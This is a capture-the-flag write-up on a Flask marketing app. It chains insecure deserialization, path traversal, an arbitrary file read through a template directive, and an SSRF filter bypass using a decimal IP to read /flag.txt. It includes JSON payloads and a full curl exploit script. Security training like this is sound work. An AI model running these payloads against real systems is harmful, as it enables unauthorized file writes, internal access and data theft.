Challenge Overview
Marketing campaigns make companies bigger.
Instance:
http://34.10.220.48:6002/
MarketFlow is a Flask-based marketing campaign management platform providing authentication, campaign management, analytics, and webhook forwarding.
Initial Analysis
Application Structure
services/object_manager.py: Custom deserialization mechanism.services/cache_service.py: ContainsPersistenceAdapter(File Write).services/renderer.py: ContainsTemplateRenderer(File Read).services/webhook_service.py: Webhook functionality (SSRF).Docker: Flag is at/flag.txt.
Vulnerability Analysis
1. Insecure Deserialization (Object Manager)
The ObjectManager instantiates classes based on a _type field in the JSON payload and recursively processes nested objects.
class ObjectManager:
def deserialize(self, data):
obj_type = data.get('_type')
klass = self.registry[obj_type]
# ... instantiates class with user data ...
2. Path Traversal in PersistenceAdapter
The PersistenceAdapter takes a storage_path and writes data to it. There is no verification that the path remains in the cache directory.
full_path = os.path.join('/var/tmp/sessionmaze/cache', self.storage_path)
3. Arbitrary File Read in Template Renderer
The legacy template renderer parses lines starting with @config: and includes the content of the specified file in the output.
if line.strip().startswith('@config:'):
config_path = line.strip()[8:].strip()
with open(config_path, 'r') as cf:
content = cf.read()
4. SSRF via Decimal IP Bypass
The is_safe_url function blocks localhost, 127., 0.0.0.0, etc., but fails to block decimal IP representations.
127.0.0.1 == 2130706433 (Decimal)
5. Internal Endpoint
There is an internal endpoint /internal/cron/process that runs pending tasks. It is restricted to localhost, but our SSRF can reach it.
Exploit Development
Exploit Chain Diagram
[Attacker]
|
| 1. Register/Login
| (Get Session)
|---------------------------------------->
|
| 2. Schedule Task: Write Evil Template
| (Insecure Deserialization -> Path Traversal)
|---------------------------------------->
| writes: ../templates/evil.tpl
| content: @config:/flag.txt
|
| 3. Schedule Task: Render Evil Template
| (Queues render task)
|---------------------------------------->
|
| 4. Trigger Scheduler via SSRF
| (Bypass IP filter w/ Decimal IP)
|---------------------------------------->
| POST http://2130706433:5000/internal/cron/process
|
| <--- Internal Scheduler Runs Tasks ---
| 1. Writes evil.tpl
| 2. Renders evil.tpl -> Reads /flag.txt
|
| 5. Get Report
|---------------------------------------->
| <--- flag{...} ---
|
Step-by-Step Exploitation
Step 1: Register and Login
Standard account creation to get access to the API.
Step 2: Schedule Task to Write Malicious Template
We send a payload that uses the deserialization vulnerability to instantiate a PersistenceAdapter that writes our malicious template to the templates directory.
{
"_type": "ReportConfiguration",
"processor": {
"_type": "AnalyticsProcessor",
"output_config": {
"_type": "CacheConfiguration",
"objects": ["# -*- mode: legacy -*-\n@config:/flag.txt\n"],
"persistence": {
"_type": "PersistenceAdapter",
"storage_path": "../templates/evil.tpl",
"mode": "write"
}
}
}
}
Step 3: Schedule Task to Render Template
We queue a second task that tells the system to render our newly created evil.tpl.
{
"_type": "ReportConfiguration",
"template": {
"_type": "TemplateSpecification",
"template_name": "evil.tpl"
}
}
Step 4: Trigger Scheduler via SSRF
We use the webhook forwarding feature to hit the internal cron endpoint. We use the decimal representation of 127.0.0.1 (2130706433) to bypass the blacklist.
{
"_type": "WebhookForwarder",
"target_url": "http://2130706433:5000/internal/cron/process",
"method": "POST"
}
Step 5: Retrieve the Flag
We visit the URL of the generated report, which now contains the flag embedded in the HTML comments.
Complete Exploit Script
#!/bin/bash
TARGET="${1:-http://34.10.220.48:6002}"
COOKIES="cookies_$$.txt"
USERNAME="attacker_$RANDOM"
echo "=== MarketFlow Exploit ==="
echo "Target: $TARGET"
# Cleanup on exit
trap "rm -f $COOKIES" EXIT
# 1. Register
echo "[1/5] Registering user..."
curl -s -c "$COOKIES" -X POST "$TARGET/api/auth/register" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"password123\",\"email\":\"$USERNAME@test.com\"}" > /dev/null
# 2. Login
echo "[2/5] Logging in..."
curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$TARGET/api/auth/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"password123\"}" > /dev/null
# 3. Schedule Write
echo "[3/5] Scheduling malicious template write..."
curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$TARGET/api/analytics/reports" \
-H "Content-Type: application/json" \
-d '{
"_type": "ReportConfiguration",
"report_type": "analytics",
"date_range": "2024-01-01",
"processor": {
"_type": "AnalyticsProcessor",
"data_source": "test",
"output_config": {
"_type": "CacheConfiguration",
"cache_key": "exploit",
"objects": ["# -*- mode: legacy -*-\n@config:/flag.txt\n"],
"persistence": {
"_type": "PersistenceAdapter",
"storage_path": "../templates/evil.tpl",
"mode": "write"
}
}
}
}' > /dev/null
# 4. Schedule Render
echo "[4/5] Scheduling template render..."
RESULT=$(curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$TARGET/api/analytics/reports" \
-H "Content-Type: application/json" \
-d '{
"_type": "ReportConfiguration",
"report_type": "analytics",
"date_range": "2024-01-01",
"template": {
"_type": "TemplateSpecification",
"template_name": "evil.tpl"
}
}')
REPORT_URL=$(echo "$RESULT" | grep -o '"report_url":"[^"]*"' | cut -d'"' -f4)
# 5. Trigger SSRF
echo "[5/5] Triggering scheduler via SSRF..."
curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$TARGET/api/webhooks/forward" \
-H "Content-Type: application/json" \
-d '{
"_type": "WebhookForwarder",
"target_url": "http://2130706433:5000/internal/cron/process",
"method": "POST"
}' > /dev/null
# Fetch flag
echo ""
echo "=== FLAG ==="
curl -s "$TARGET$REPORT_URL" | grep -oP 'flag\{[^}]+\}'